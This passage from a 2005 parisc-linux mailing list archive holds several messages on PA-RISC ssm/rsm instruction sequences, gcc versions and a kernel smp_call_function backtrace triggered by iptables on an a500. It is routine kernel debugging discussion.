hFU8vZWVulXR++lgghktU1v2yB8c1TgZR8nYT8bhaRbB7tSwRXCbTDyIKIcgd8zNIxif7mPVvOpO
f85PnCXjdTL+kowXyfiflKOL/RjBSHdIucWe7i7xvqqsPltGn5TNc2QiH5aJtBVJdtbtUPAiDta3
SQ4n+6eoGf/G7POeOzT+q01E4xhv+Ner7P9MbCNoQV4pxk+b1xZDQXAFDOPMzIIECzOfJ8w/ZS/b
oqXyf6/GbA08JQAA

--========/426F253000000322/mail-6-bnl.tiscali.it
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--========/426F253000000322/mail-6-bnl.tiscali.it--



From - Thu Nov 08 21:33:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ssm/rsm sequences
Date: Wed, 27 Apr 2005 14:17:44 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <20050427201744.GE21784@colo.lackof.org>
References: <20050425165540.GD12325@colo.lackof.org>
	<200504251744.j3PHixu9015886@hiauly1.hia.nrc.ca>
	<20050427022925.GH2612@colo.lackof.org>
	<20050427052055.GJ2612@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623768 14358 80.91.229.3 (22 Nov 2014 02:36:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:08 +0000 (UTC)
Cc: rhirst@levanta.com,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Apr 2005 20:15:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 27 Apr 2005 22:15:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE1BB7D69A;
	Wed, 27 Apr 2005 14:15:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26269-04; Wed, 27 Apr 2005 14:15:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C2A907D69B;
	Wed, 27 Apr 2005 14:15:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D5C57D699
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 14:15:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26070-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 14:15:13 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 8A3F27D698
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 14:15:13 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id EA37B298052;
	Wed, 27 Apr 2005 14:17:45 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26199-02; Wed, 27 Apr 2005 14:17:44 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7F4AE29803F; Wed, 27 Apr 2005 14:17:44 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050427052055.GJ2612@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: t5cdYlwjeSE57L6WZHQhaXN2IGRvbwCb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22661

On Tue, Apr 26, 2005 at 11:20:55PM -0600, Grant Grundler wrote:
> On Tue, Apr 26, 2005 at 08:29:25PM -0600, Grant Grundler wrote:
> > The example code is just that, an example:
> > 	SSM	0,gr0	; initial RSM, SSM, or MTSM
> > ...
> > 
> > AFAICT, that sequence does nothing but burn some cycles.
> 
> *sigh*. The ssm 0,0/nop * 8/rsm sequence isn't so obvious.
> Richard Hirst added this comment to entry.S in 2001:
>         * The ssm is necessary due to a PCXT bug

Dave Anglin (offlist) pointed out it's part of the PA 2.0 Architecture:
| The first bullet in point 2., page F-4:
| 
|   The RSM or MTSM instruction which sets the PSW Q-bit (the clearing
|   RSM or MTSM) is preceded by another RSM, SSM, or MTSM instruction
|   which does not affect the Q-bit and which appears at least 8
|   instructions prior.

Kudos to Dave for being persistent. I had read this before but didn't
really understand what it said.

My copy of "PA-RISC 1.1 Architecture and Instruction Set" (3rd Edition,
Feb 1994) has change bars in front of the first two bullets on page 3-20.
This suggests it was added later - maybe after finding the "feature"
in PCX-T.

I've got research to do before moving forward with the
pcxt_ssm_bug patch.

thanks,
grant

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3 vs. 3.4
Date: Thu, 28 Apr 2005 08:22:08 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20050428122206.GE496@baldric.uwo.ca>
References: <20050427170020.GA496@baldric.uwo.ca>
	<200504271935.53614.vapier@gentoo.org>
	<20050428022313.GD496@baldric.uwo.ca>
	<200504272326.10869.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623768 14365 80.91.229.3 (22 Nov 2014 02:36:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Apr 2005 13:23:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 28 Apr 2005 15:23:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF7947D69F;
	Thu, 28 Apr 2005 07:22:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30989-01; Thu, 28 Apr 2005 07:22:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E03AB7D698;
	Thu, 28 Apr 2005 07:22:20 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CCCF27D692
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 07:22:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30859-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 07:22:14 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 544CB7D690
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 07:22:14 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DR81x-0005Ny-00; Thu, 28 Apr 2005 08:22:09 -0400
Content-Disposition: inline
In-Reply-To: <200504272326.10869.vapier@gentoo.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (81% Sync Ratio [========..])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7oYCYsZneSE57L6WZHQhaXN2IGRvbwCe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22662

On Wed, Apr 27, 2005 at 11:26:10PM -0400, Mike Frysinger wrote:
> > It builds, and runs all the testsuite, except for these two tests.
> > Perhaps debian has gcc-3.4 patches that gentoo is missing?
> 
> perhaps ... which version of gcc/glibc are you playing with in debian ?
> -mike

Debian binutils and gcc 3.4, with glibc head + patches.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ssm/rsm sequences
Date: Thu, 28 Apr 2005 08:58:34 -0600
Lines: 67
Approved: news@gmane.org
Message-ID: <20050428145834.GA10171@colo.lackof.org>
References: <20050425165540.GD12325@colo.lackof.org>
	<200504251744.j3PHixu9015886@hiauly1.hia.nrc.ca>
	<20050427022925.GH2612@colo.lackof.org>
	<20050427052055.GJ2612@colo.lackof.org>
	<20050427150050.GB21784@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623768 14369 80.91.229.3 (22 Nov 2014 02:36:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Apr 2005 14:56:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 28 Apr 2005 16:56:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93EFE7D6A6;
	Thu, 28 Apr 2005 08:56:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31512-07; Thu, 28 Apr 2005 08:56:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E1357D69D;
	Thu, 28 Apr 2005 08:56:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1CFD67D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 08:56:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31512-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 08:56:02 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 73B687D699
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 08:56:02 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id CE822298062
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 08:58:35 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10436-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 08:58:34 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 78350298059; Thu, 28 Apr 2005 08:58:34 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050427150050.GB21784@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3JwCYsJ8eSE57L6WZHQhaXN2IGRvbwCW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22663

Grant Grundler wrote:
> Here's a new patch WITHOUT the s/__lp64__/CONFIG_64BIT/ changes.

I tested this patch on a500 and the kernel blew up when
/etc/init.d/firewall script was started.
Something in iptables triggered a WARN_ON in our smp_call_function.
Thinking this might be related to the missing "ssm/nop*8" sequence,
I removed the ifdef around the pcxt_ssm_bug so it's always used.
Still panics in basically the same way:

....
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces...done.
Starting portmap daemon: portmap.

Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Thu Apr 28 07:29:51 PDT 2005

eth10: Setting full-duplex based on MII#1 link partner capability of 41e1.
Initializing random number generator...done.
Recovering nvi editor sessions... done.
Setting up X server socket directory /tmp/.X11-unix...tg3: eth11: Link is up at 1000 Mbps, full duplex.
tg3: eth11: Flow control is off for TX and off for RX.
done.
Setting up ICE socket directory /tmp/.ICE-unix...done.
INIT: Entering runlevel: 2
Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting firewall (iptables):Badness in smp_call_function at arch/parisc/kernel/smp.c:340
Backtrace:
 [<0000000010114d70>] dump_stack+0x18/0x28
 [<000000001011f74c>] smp_call_function+0x474/0x480
 [<00000000101ab470>] unmap_vm_area+0xa0/0x328
 [<00000000101abe4c>] remove_vm_area+0x94/0xd8
 [<00000000101abf3c>] __vunmap+0xac/0x1e0
 [<00000000101ac098>] vfree+0x28/0x80
 [<0000000000398bb0>] do_ipt_set_ctl+0x1040/0x1268 [ip_tables]
 [<00000000103c8598>] nf_sockopt+0x200/0x3c0
 [<00000000103c8774>] nf_setsockopt+0x1c/0x28
 [<00000000103e4b98>] ip_setsockopt+0x288/0xdc0
 [<0000000010408324>] raw_setsockopt+0x3c/0x90
 [<00000000103aad70>] sock_common_setsockopt+0x28/0x38
 [<00000000103a6f68>] sys_setsockopt+0x90/0xf8
 [<00000000103cb2a0>] compat_sys_setsockopt+0x538/0x548
 [<0000000010107fb4>] syscall_exit+0x0/0x14

SMP CALL FUNCTION TIMED OUT! (cpu=0), try 1
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 2
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 3
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 4
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 5
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 6
...


Looks like unmap_vm_area() has changed for every 2.6.12-rc release.
I expect the WARN_ON is invoked via flush_tlb_kernel_range().
Anyone have a clue what's up here?

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ssm/rsm sequences
Date: Thu, 28 Apr 2005 15:30:08 +0000
Lines: 87
Approved: news@gmane.org
Message-ID: <42710180.2030004@tiscali.be>
References: <20050425165540.GD12325@colo.lackof.org>	<200504251744.j3PHixu9015886@hiauly1.hia.nrc.ca>	<20050427022925.GH2612@colo.lackof.org>	<20050427052055.GJ2612@colo.lackof.org>	<20050427150050.GB21784@colo.lackof.org>
	<20050428145834.GA10171@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623769 14370 80.91.229.3 (22 Nov 2014 02:36:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Apr 2005 15:30:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 28 Apr 2005 17:30:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7442B7D6A5;
	Thu, 28 Apr 2005 09:30:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31735-06; Thu, 28 Apr 2005 09:30:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E39477D6AC;
	Thu, 28 Apr 2005 09:30:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 773407D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 09:30:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31580-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 09:30:14 -0600 (MDT)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id B04CD7D6A3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 09:30:13 -0600 (MDT)
Original-Received: from [83.134.226.250] (helo=[83.134.226.250])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DRAxt-0006HY-Lk; Thu, 28 Apr 2005 17:30:09 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.7) Gecko/20050420 Debian/1.7.7-2
X-Accept-Language: en
In-Reply-To: <20050428145834.GA10171@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wGQDYslVeSE57L6WZHQhaXN2IGRvbwCW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22664

Hello Grant,

Grant Grundler wrote:
> Grant Grundler wrote:
> 
>>Here's a new patch WITHOUT the s/__lp64__/CONFIG_64BIT/ changes.
> 
> 
> I tested this patch on a500 and the kernel blew up when
> /etc/init.d/firewall script was started.
> Something in iptables triggered a WARN_ON in our smp_call_function.
> Thinking this might be related to the missing "ssm/nop*8" sequence,
> I removed the ifdef around the pcxt_ssm_bug so it's always used.
> Still panics in basically the same way:
> 
> ....
> Setting up IP spoofing protection: rp_filter.
> Configuring network interfaces...done.
> Starting portmap daemon: portmap.
> 
> Setting the System Clock using the Hardware Clock as reference...
> System Clock set. Local time: Thu Apr 28 07:29:51 PDT 2005
> 
> eth10: Setting full-duplex based on MII#1 link partner capability of 41e1.
> Initializing random number generator...done.
> Recovering nvi editor sessions... done.
> Setting up X server socket directory /tmp/.X11-unix...tg3: eth11: Link is up at 1000 Mbps, full duplex.
> tg3: eth11: Flow control is off for TX and off for RX.
> done.
> Setting up ICE socket directory /tmp/.ICE-unix...done.
> INIT: Entering runlevel: 2
> Starting system log daemon: syslogd.
> Starting kernel log daemon: klogd.
> Starting firewall (iptables):Badness in smp_call_function at arch/parisc/kernel/smp.c:340
> Backtrace:
>  [<0000000010114d70>] dump_stack+0x18/0x28
>  [<000000001011f74c>] smp_call_function+0x474/0x480
>  [<00000000101ab470>] unmap_vm_area+0xa0/0x328
>  [<00000000101abe4c>] remove_vm_area+0x94/0xd8
>  [<00000000101abf3c>] __vunmap+0xac/0x1e0
>  [<00000000101ac098>] vfree+0x28/0x80
>  [<0000000000398bb0>] do_ipt_set_ctl+0x1040/0x1268 [ip_tables]
>  [<00000000103c8598>] nf_sockopt+0x200/0x3c0
>  [<00000000103c8774>] nf_setsockopt+0x1c/0x28
>  [<00000000103e4b98>] ip_setsockopt+0x288/0xdc0
>  [<0000000010408324>] raw_setsockopt+0x3c/0x90
>  [<00000000103aad70>] sock_common_setsockopt+0x28/0x38
>  [<00000000103a6f68>] sys_setsockopt+0x90/0xf8
>  [<00000000103cb2a0>] compat_sys_setsockopt+0x538/0x548
>  [<0000000010107fb4>] syscall_exit+0x0/0x14
> 
> SMP CALL FUNCTION TIMED OUT! (cpu=0), try 1
> SMP CALL FUNCTION TIMED OUT! (cpu=0), try 2
> SMP CALL FUNCTION TIMED OUT! (cpu=0), try 3
> SMP CALL FUNCTION TIMED OUT! (cpu=0), try 4
> SMP CALL FUNCTION TIMED OUT! (cpu=0), try 5
> SMP CALL FUNCTION TIMED OUT! (cpu=0), try 6
> ...
> 
> 
> Looks like unmap_vm_area() has changed for every 2.6.12-rc release.
> I expect the WARN_ON is invoked via flush_tlb_kernel_range().
> Anyone have a clue what's up here?
> 
no sorry but I tested pa8000 64bit up on b2k (but no fw iptable :-( ) and I didn't encounter any pb:
	o my stress test during about 20h: no panic, no error, ... :-)

btw I found another way to make panicing 32bit:
	o vi a big file (e.g. a kernel objdump) and launch a dG cmd
	  (it takes obviously some minutes to copy the recovery file)
	  then try to save: no pb with 64bit on b2k but panicing quickly with 32bit on b180

I also tested on pa8000 32bit smp on the d380:
	o boot fine;
	o but hanging on the smp_call_function() WARN_ON() when simply vi my big file (need to check without patch?)

that said, iirc jda already mentioned such fw iptable pb (but not yet find the time to track down in more, sorry :-( )

hth,
	Joel

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] head.S: a small typo
Date: Thu, 28 Apr 2005 17:04:09 +0000
Lines: 157
Approved: news@gmane.org
Message-ID: <42711789.8040408@tiscali.be>
References: <200504261908.j3QJ8gA5027898@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623769 14374 80.91.229.3 (22 Nov 2014 02:36:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
